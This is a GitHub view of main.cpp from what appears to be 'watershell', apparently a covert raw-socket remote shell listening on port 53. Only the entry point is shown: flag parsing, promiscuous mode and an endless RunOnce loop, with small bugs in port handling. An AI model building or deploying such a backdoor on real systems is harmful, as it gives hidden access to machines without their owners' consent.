-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathmain.cpp
More file actions
47 lines (44 loc) · 1.21 KB
/
main.cpp
File metadata and controls
47 lines (44 loc) · 1.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "watershell.h"
int main(int argc, char *argv[]) {
bool DEBUG = false;
bool PROMISC = false;
int port = 53;
int arg;
struct sock_fprog filter;
char buf[2048];
unsigned char *read;
while ((arg = getopt(argc, argv, "ph:l:")) != -1){
switch (arg){
case 'p':
if (DEBUG)
std::puts("Running in promisc mode");
PROMISC = true;
break;
case 'h':
if (DEBUG)
std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl;
return 0;
break;
case 'l':
port += strtoul(optarg, NULL, 10);
if (port <= 0 || port > 65535){
if (DEBUG)
std::puts("Invalid port");
return 1;
}
break;
case '?':
if (DEBUG)
std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl;
return 1;
default:
std::abort();
}
}
Watershell wtrshl(port, DEBUG, PROMISC);
wtrshl.Init();
std::cout << wtrshl.gateway_mac << std::endl;
while(true){
wtrshl.RunOnce();
}
}